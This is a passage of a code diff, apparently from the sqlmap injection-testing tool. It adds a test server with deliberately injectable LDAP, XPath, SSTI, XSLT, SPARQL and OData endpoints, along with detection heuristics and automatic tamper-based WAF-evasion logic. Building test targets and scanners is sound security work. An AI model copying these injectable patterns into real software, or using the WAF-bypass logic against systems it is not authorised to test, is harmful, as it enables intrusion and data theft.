self.params.get("variables") or {} + + if not isinstance(variables, dict): + try: + variables = json.loads(str(variables)) + except Exception: + variables = {} + + if "__schema" in query: + output = json.dumps(_graphql_introspection()) + else: + data, errors = _graphql_resolve(query, variables) + resp = {} + if errors: + resp["errors"] = errors + if data: + resp["data"] = data + output = json.dumps(resp, default=str) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url in ("/ldap", "/ldap/search"): + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + if q: + filter_str = "(|(cn=*%s*)(sn=*%s*)(mail=*%s*)(uid=*%s*)(description=*%s*))" % (q, q, q, q, q) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 1, "errorMessage": error}) + else: + entries = [_ldap_row_to_obj(r) for r in (rows or [])] + output = json.dumps({"resultCode": 0, "entries": entries, "count": len(entries)}, default=str) + else: + output = json.dumps({"resultCode": 0, "entries": [], "count": 0}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/ldap/login": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + user = self.params.get("user", "") + password = self.params.get("pass", "") + if user and password: + filter_str = "(&(uid=%s)(userPassword=%s))" % (user, password) + rows, error = _ldap_execute(filter_str) + if error: + output = json.dumps({"resultCode": 49, "errorMessage": error}) + elif rows: + entry = _ldap_row_to_obj(rows[0]) + output = json.dumps({"resultCode": 0, "authenticated": True, "user": entry}, default=str) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Invalid credentials"}) + else: + output = json.dumps({"resultCode": 49, "authenticated": False, "errorMessage": "Missing credentials"}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/hql/search": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + name = self.params.get("name", "") + try: + matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL + output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0}) + except _HqlError as ex: + output = json.dumps({"results": [], "count": 0, "error": str(ex)}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/sparql/search": + # VULNERABLE: the parameter is concatenated into a FILTER string literal of a SPARQL query, + # SELECT ?name WHERE { ?p foaf:name ?name . FILTER(?name = "") }. A broken-out FILTER + # becomes an attacker-controlled boolean (boolean-based blind); a syntax break surfaces a + # Jena-style parser error. + q = self.params.get("q", "luther") + try: + matched = sparql_evaluate(q) + rows = "".join("
  • %s
  • " % o for _s, p, o in SPARQL_TRIPLES + if p.endswith("name") and matched) + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("
      %s
    " % rows).encode(UNICODE_ENCODING)) + except _SparqlError as ex: + self.send_response(INTERNAL_SERVER_ERROR) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("
    %s
    " % str(ex)).encode(UNICODE_ENCODING)) + return + + if self.url == "/odata/search": + # VULNERABLE: the parameter is concatenated into an OData $filter string literal, + # $filter=Name eq ''. A broken-out filter becomes an attacker-controlled boolean + # (boolean-based blind); an unbalanced literal surfaces a Microsoft-OData parser error (400). + # The response only shows Id and Name (as if $select=Id,Name), yet 'Secret' stays reachable + # through the injected filter - the property a blind dump recovers. + name = self.params.get("name", "luther") + try: + matched = odata_evaluate(name) + rows = "".join("
  • %s: %s
  • " % (e["Id"], e["Name"]) for e in matched) + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("
      %s
    " % rows).encode(UNICODE_ENCODING)) + except _ODataError as ex: + self.send_response(BAD_REQUEST) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(json.dumps({"error": {"message": str(ex)}}).encode(UNICODE_ENCODING)) + return + + if self.url == "/echo": + # A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every + # non-SQL switch must stay silent here. A differential built on "the page changed" is + # satisfied by reflection alone, which is how several engines reported this shape as + # injectable - so this endpoint is the regression gate for that whole class. + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(("you searched for: %s" % self.params.get("q", "")).encode(UNICODE_ENCODING)) + return + + if self.url in ("/xslt/element", "/xslt/value"): + # VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied + element = self.url.endswith("element") + source = self.params.get("tpl" if element else "sort", "" if element else "name") + try: + from lxml import etree + sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source + transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8"))) + output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8")))) + code = OK + except Exception as ex: + output = "

    XSLT error

    %s: %s
    " % (type(ex).__name__, ex) + code = INTERNAL_SERVER_ERROR + + self.send_response(code) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/xpath/search": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + entries = [] + error = None + + if q: + try: + from lxml import etree + root = etree.fromstring(XPATH_XML.encode("utf-8")) + # VULNERABLE: unsanitized user input directly interpolated into XPath + xpath_expr = "/directory/department/user[contains(username,'%s') or contains(realname,'%s')]" % (q, q) + elements = root.xpath(xpath_expr) + entries = [_xpath_element_to_dict(el) for el in elements] + except Exception as ex: + error = "%s: %s" % (type(ex).__name__, str(ex)) + + output = json.dumps({"entries": entries, "count": len(entries), "error": error}, default=str) + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/xpath/login": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + username = self.params.get("username", "") + password = self.params.get("password", "") + error = None + authenticated = False + + if username and password: + try: + from lxml import etree + root = etree.fromstring(XPATH_XML.encode("utf-8")) + # VULNERABLE: unsanitized interpolation into XPath login expression + xpath_expr = "/directory/department/user[username='%s' and password='%s']" % (username, password) + results = root.xpath(xpath_expr) + if results: + authenticated = True + except Exception as ex: + error = "%s: %s" % (type(ex).__name__, str(ex)) + + output = json.dumps({"authenticated": authenticated, "error": error}, default=str) + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/ssti/search": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + q = self.params.get("q", "") + output = "" + + if q: + try: + from jinja2 import Template + # VULNERABLE: unsanitized user input passed to Jinja2 template engine + template = Template("Hello " + q) + output += template.render() + except Exception as ex: + # Leak template engine error for error-based detection + output += "%s: %s" % (type(ex).__name__, str(ex)) + else: + output += "Hello" + + output += "" + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + + if self.url == "/fp": + # False-positive battery traps (exercised on demand by '--fp-test'). Every trap is + # deliberately NON-injectable but baits a specific FP defense; sqlmap must report "not + # injectable" for all of them (each is paired, in FP_TESTS, with a real injectable twin). + trap = self.params.get("trap", "reflect") + idv = self.params.get("id", "1") + + def _rnd(n=8): + return "".join(random.choice("0123456789abcdef") for _ in range(n)) + + if trap == "intcast": + # parameterized int lookup: id=1 -> row, non-int (e.g. "1 AND 1=1") -> empty. A boolean + # payload yields a differential yet it is NOT SQLi -> the false-positive check must reject it. + try: + hit = int(idv) in (1, 2, 3) + except ValueError: + hit = False + output = "SQL results:%s
    " % ("%slutherblisset" % idv if hit else "") + elif trap == "structrand": + # heavy dynamic TEXT (defeats dynamic-content removal) + STABLE structure; id is not + # reflected into the structure -> stresses the structure-aware comparison oracle. + rows = "".join("%s%s" % (_rnd(), _rnd()) for _ in range(3)) + output = ("Report
    %s
    " + "%s
    " + "
    %s
    " % (_rnd(), _rnd(), rows, _rnd())) + elif trap == "acceptall": + # 200 + identical content for EVERYTHING incl. garbage -> the reads-everything-true channel. + output = "OK welcome to the portal" + elif trap == "reflect": + # echoes the parameter verbatim (reflection) with no SQL sink. + output = "you searched for: %s" % idv + elif trap == "errors": + # DB-error-looking text for any non-baseline input -> baits error-based detection. + output = "Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result" if idv != "1" else "SQL results:
    1luther
    " + elif trap == "lengthrand": + # response length varies at random (not with the payload) -> baits length-based heuristics. + output = "ok %s" % _rnd(random.choice([4, 40, 400])) + elif trap == "slowrand": + # random latency, uncorrelated with the payload -> baits time-based detection. + time.sleep(random.choice([0, 0, 0, 1])) + output = "ok %s" % _rnd() + else: + output = "?" + + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) @@ -229,6 +1661,7 @@ def do_REQUEST(self): self.wfile.write(b"vulnserver

    GET:

    link

    POST:

    ID:
    ") else: code, output = OK, "" + contentType = "text/html" try: if self.params.get("echo", ""): @@ -247,38 +1680,48 @@ def do_REQUEST(self): _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) results = _cursor.fetchall() - output += "SQL results:
    \n" - - if self.params.get("code", ""): - if not results: + if self.params.get("json", ""): + # JSON response mode: serialize the SAME query results as application/json + # (exercises the structure-aware comparison oracle end to end). HTML branches + # below are untouched, so existing tests are unaffected. + if self.params.get("code", "") and not results: code = INTERNAL_SERVER_ERROR + else: + contentType = "application/json" + output = json.dumps({"results": [list(row) for row in results], "count": len(results)}) else: - if results: - output += "\n" + output += "SQL results:
    \n" - for row in results: - output += "" - for value in row: - output += "" % value - output += "\n" - - output += "
    %s
    \n" + if self.params.get("code", ""): + if not results: + code = INTERNAL_SERVER_ERROR else: - output += "no results found" + if results: + output += "\n" - if not results: - output = "No results" + output - else: - output = "Results" + output + for row in results: + output += "" + for value in row: + output += "" % value + output += "\n" + + output += "
    %s
    \n" + else: + output += "no results found" + + if not results: + output = "No results" + output + else: + output = "Results" + output - output += "" + output += "" except Exception as ex: code = INTERNAL_SERVER_ERROR output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) self.send_response(code) - self.send_header("Content-type", "text/html") + self.send_header("Content-type", contentType) self.send_header("Connection", "close") if self.raw_requestline.startswith(b"HEAD"): diff --git a/lib/controller/action.py b/lib/controller/action.py index a1413a62231..000bc4215fc 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -8,11 +8,14 @@ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import CONTENT_TYPE +from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS @@ -28,11 +31,61 @@ def action(): if possible """ + # HTTP/2 timeless timing ('--timeless'): detection is done and the back-end DBMS is known, so engage + # the oracle for this target's extraction (swaps the time-based vector for a tuned heavy one, so all + # subsequent extraction reads bits by response order instead of delay). Guarded + calibrated - a no-op + # unless '--timeless' is set and the target is usable; disengage() first clears any prior target's. + from lib.request import timeless + timeless.disengage() + if not timeless.autoEngage(): # engages if '--timeless' was given and the target is usable + timeless.hintTimeless() # otherwise nudge the user toward '--timeless' if the target fits + # First of all we have to identify the back-end database management # system to be able to go ahead with the injection setHandler() - if not Backend.getDbms() or not conf.dbmsHandler: + # automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried + # first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from + # the error page or the heuristic checks, so that the user still gets a usable result + if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms(): + fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) + fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) + if fallback: + logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback) + conf.forceDbms = fallback + + setHandler() + + # multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked + # before nudging the user towards a channel that reads several characters per request (no requests) + from lib.techniques.blind import multibit + multibit.hint() + + if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF + hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms()) + + # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a + # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS: + # * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed + # rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails + # with "no tables", + # * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the + # ORD/MID function names scored by 942151/942190); + # * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto + # 'mysql.innodb_table_stats', which is not on those blocklists. + # (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an + # open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.) + if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL: + kb.data.has_information_schema = True + if not conf.tamper: + from lib.utils.wafbypass import loadTamper + for _name in ("blindbinary", "infoschema2innodb"): + function = loadTamper(_name) + if function is not None and function not in (kb.tamperFunctions or []): + kb.tamperFunctions = (kb.tamperFunctions or []) + [function] + logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS") + + if (not Backend.getDbms() and not conf.esperanto) or not conf.dbmsHandler: htmlParsed = Format.getErrorParsedDBMSes() errMsg = "sqlmap was not able to fingerprint the " @@ -78,6 +131,9 @@ def action(): if conf.getStatements: conf.dumper.statements(conf.dbmsHandler.getStatements()) + if conf.getProcs: + conf.dumper.procedures(conf.dbmsHandler.getProcedures()) + if conf.getPasswordHashes: try: conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 9e9f1f4fd7d..0d0b858ae7f 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -15,7 +15,9 @@ from extra.beep.beep import beep from lib.core.agent import agent from lib.core.common import Backend +from lib.core.common import arrayizeValue from lib.core.common import extractRegexResult +from lib.core.common import extractStructuralTokens from lib.core.common import extractTextTagContent from lib.core.common import filterNone from lib.core.common import findDynamicContent @@ -56,6 +58,7 @@ from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import POST_HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NOTE @@ -79,14 +82,27 @@ from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS +from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET +from lib.core.settings import HQL_ERROR_REGEX from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import ODATA_ERROR_REGEX +from lib.core.settings import SPARQL_ERROR_REGEX +from lib.core.settings import SSTI_ERROR_REGEX +from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XSLT_ERROR_REGEX +from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_TIMEOUT from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW +from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER @@ -94,12 +110,14 @@ from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER +from lib.core.settings import WAF_BLOCK_HTTP_CODES from lib.core.threads import getCurrentThreadData from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression from lib.request.templates import getPageTemplate +from lib.utils.dialect import dialectCheckDbms from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion from thirdparty import six @@ -149,6 +167,15 @@ def checkSqlInjection(place, parameter, value): if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests: kb.heuristicDbms = heuristicCheckDbms(injection) + # keyword-free fallback: heuristicCheckDbms() above uses SELECT/quote payloads + # and is skipped when the WAF/IPS is dropping requests; the operator-dialect + # probes carry no SELECT/quote/schema name, so they can still narrow the DBMS in + # that case (or when it was inconclusive), using the now-calibrated boolean oracle. + # It feeds the lower-confidence heuristicExtendedDbms (UNION FROM / handler hint), + # deliberately NOT heuristicDbms, so it never drives reduceTests (skipping payloads) + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and kb.heuristicExtendedDbms is None: + kb.heuristicExtendedDbms = dialectCheckDbms(injection) + # If the DBMS has already been fingerprinted (via DBMS-specific # error message, simple heuristic check or via DBMS-specific # payload), ask the user to limit the tests to the fingerprinted @@ -157,7 +184,11 @@ def checkSqlInjection(place, parameter, value): if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" - kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] + # mirror msg's fallback chain (error-parsed -> heuristic -> injection.dbms) - falling + # back only through the first two (as before) left kb.reduceTests as [None] whenever + # injection.dbms alone satisfied the 'if' above, silently skipping every DBMS-specific + # test payload for the rest of the scan + kb.reduceTests = (Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else arrayizeValue(injection.dbms))) if readInput(msg, default='Y', boolean=True) else [] # If the DBMS has been fingerprinted (via DBMS-specific error # message, via simple heuristic check or via DBMS-specific @@ -186,6 +217,10 @@ def checkSqlInjection(place, parameter, value): }) if stype == PAYLOAD.TECHNIQUE.UNION: + if "char" not in test.request: + logger.debug("skipping malformed UNION test '%s' because its request has no character" % title) + continue + configUnion(test.request.char) if "[CHAR]" in title: @@ -502,6 +537,7 @@ def genCmpPayload(): # Useful to set kb.matchRatio at first based on False response content kb.matchRatio = None + kb.trueLength = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) suggestion = None Request.queryPage(genCmpPayload(), place, raise404=False) @@ -509,7 +545,7 @@ def genCmpPayload(): falseRawResponse = "%s%s" % (falseHeaders, falsePage) # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) - if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)): + if not any((kb.negativeLogic, conf.string, conf.notString, conf.code, conf.lengths)): try: ratio = 1.0 seqMatcher = getCurrentThreadData().seqMatcher @@ -529,6 +565,11 @@ def genCmpPayload(): truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) + if conf.lengths: + # under NULL connection the body is absent, so take the length HEAD/Range reported + kb.trueLength = threadData.lastComparisonPageLength if kb.nullConnection else len(truePage) + trueResult = True + if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) @@ -542,7 +583,7 @@ def genCmpPayload(): errorResult = Request.queryPage(errorPayload, place, raise404=False) if errorResult: continue - elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, kb.nullConnection)): _ = comparison(kb.heuristicPage, None, getRatioValue=True) if (_ or 0) > (kb.matchRatio or 0): kb.matchRatio = _ @@ -554,7 +595,7 @@ def genCmpPayload(): injectable = True - elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)): originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) @@ -580,7 +621,19 @@ def genCmpPayload(): break if injectable: - if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + # WAF/IPS block-artifact guard: a TRUE condition (the always-true payload that + # mimics a legitimate request) coming back with a blocked HTTP status (e.g. 403) + # while the FALSE condition passes (2xx) is the WAF answering, not the database. + # A real boolean injection's TRUE condition reproduces the normal page, so this + # status-code asymmetry is the classic false positive - refuse it here. + if not kb.negativeLogic and trueCode in WAF_BLOCK_HTTP_CODES and (falseCode or 0) < 400 and (kb.heuristicCode or 200) < 400: + warnMsg = "%sparameter '%s' TRUE/FALSE responses differ only by a blocked HTTP %d vs %d status, " % ("%s " % paramType if paramType != parameter else "", parameter, trueCode, falseCode) + warnMsg += "which is characteristic of a WAF/IPS block rather than a SQL injection; skipping as a likely false positive" + logger.warning(warnMsg) + injectable = False + continue + + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode @@ -692,7 +745,8 @@ def genCmpPayload(): if len(kb.dbmsFilter or []) == 1: Backend.forceDbms(kb.dbmsFilter[0]) elif not Backend.getIdentifiedDbms(): - if kb.heuristicDbms is None: + heuristicDbms = kb.heuristicDbms or kb.heuristicExtendedDbms + if heuristicDbms is None: if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data: warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " @@ -700,7 +754,7 @@ def genCmpPayload(): warnMsg += "explicitly set it with option '--dbms'" singleTimeWarnMessage(warnMsg) else: - Backend.forceDbms(kb.heuristicDbms) + Backend.forceDbms(heuristicDbms) if unionExtended: infoMsg = "automatically extending ranges for UNION " @@ -772,12 +826,20 @@ def genCmpPayload(): injection.data[stype].comment = comment injection.data[stype].templatePayload = templatePayload injection.data[stype].matchRatio = kb.matchRatio + injection.data[stype].trueLength = kb.trueLength injection.data[stype].trueCode = trueCode injection.data[stype].falseCode = falseCode + # reference bodies for inference.py's "resembles neither TRUE nor FALSE model" + # anomaly guard (runtime-only; lets a transient same-HTTP-code junk response + # trigger a validateChar re-check during boolean extraction) + if method == PAYLOAD.METHOD.COMPARISON: + kb.trueTemplate, kb.falseTemplate = truePage, falsePage + injection.conf.textOnly = conf.textOnly injection.conf.titles = conf.titles injection.conf.code = conf.code + injection.conf.lengths = conf.lengths injection.conf.string = conf.string injection.conf.notString = conf.notString injection.conf.regexp = conf.regexp @@ -868,7 +930,9 @@ def heuristicCheckDbms(injection): may be """ - retVal = False + # None (not False) on failure - every caller gates re-running this on 'kb.heuristicDbms is + # None', and a stale False from an earlier parameter's failed check would wrongly block that + retVal = None if conf.skipHeuristics: return retVal @@ -1018,10 +1082,40 @@ def checkFilteredChars(injection): # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)): - warnMsg = "it appears that the character '>' is " - warnMsg += "filtered by the back-end server. You are strongly " - warnMsg += "advised to rerun with the '--tamper=between'" - logger.warning(warnMsg) + # '>' is filtered - blind inference (bisection and the count/length integer retrievals + # all rely on '>') would silently retrieve nothing. Cascade through the '>'-free + # comparison rewrites and adopt the first that RE-VERIFIES working, so the run adapts in + # place instead of forcing a manual rerun: 'between' (> -> NOT BETWEEN 0 AND) first, + # then 'greatest' (GREATEST()-based) for when BETWEEN itself is filtered. Skipped when the + # user chose their own '--tamper' (respect that choice). + adapted = None + + if not conf.tamper: + from lib.utils.wafbypass import loadTamper + + for name in ("between", "greatest", "sign"): + function = loadTamper(name) + if function is None or function in (kb.tamperFunctions or []): + continue + + kb.tamperFunctions = (kb.tamperFunctions or []) + [function] + _ = randomInt() + + if checkBooleanExpression("%d>%d" % (_ + 1, _)): + adapted = name + break + else: + kb.tamperFunctions.remove(function) + + if adapted: + infoMsg = "the character '>' appears to be filtered by the back-end server; " + infoMsg += "sqlmap automatically applied the '%s' tamper script to adapt" % adapted + logger.info(infoMsg) + else: + warnMsg = "it appears that the character '>' is " + warnMsg += "filtered by the back-end server. You are strongly " + warnMsg += "advised to rerun with the '--tamper=between'" + logger.warning(warnMsg) kb.injection = popValue() @@ -1088,7 +1182,7 @@ def _(page): if casting: errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type") - platform = conf.url.split('.')[-1].lower() + platform = (extractRegexResult(r"\.(?P\w+)(?:\?|\Z)", conf.url) or conf.url.split('.')[-1]).lower() if platform == WEB_PLATFORM.ASP: errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter) elif platform == WEB_PLATFORM.ASPX: @@ -1108,13 +1202,13 @@ def _(page): kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) elif result: - infoMsg += "be injectable" + infoMsg += "be SQL injectable" if Backend.getErrorParsedDBMSes(): infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() logger.info(infoMsg) else: - infoMsg += "not be injectable" + infoMsg += "not be SQL injectable" logger.warning(infoMsg) kb.heuristicMode = True @@ -1136,6 +1230,14 @@ def _(page): if conf.beep: beep() + def _search(regex): + # Note: on a rare (e.g. huge) response the regex engine itself can fail, and losing one + # advisory heuristic beats losing the whole run (e.g. #5994 and #6105) + try: + return re.search(regex, page or "") + except (SystemError, RuntimeError) as ex: + logger.debug("skipping heuristic check because of a regex engine failure ('%s')" % getSafeExString(ex)) + try: for match in re.finditer(FI_ERROR_REGEX, page or ""): if randStr1.lower() in match.group(0).lower(): @@ -1147,13 +1249,117 @@ def _(page): break except (SystemError, RuntimeError) as ex: - logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex)) + logger.debug("skipping heuristic check because of a regex engine failure ('%s')" % getSafeExString(ex)) + + if not conf.nosql and _search(NOSQL_ERROR_REGEX): + infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.graphql and _search(GRAPHQL_ERROR_REGEX): + infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.ldap and _search(LDAP_ERROR_REGEX): + infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.xpath and _search(XPATH_ERROR_REGEX): + infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.ssti and _search(SSTI_ERROR_REGEX): + infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + + if not conf.hql and _search(HQL_ERROR_REGEX): + infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if 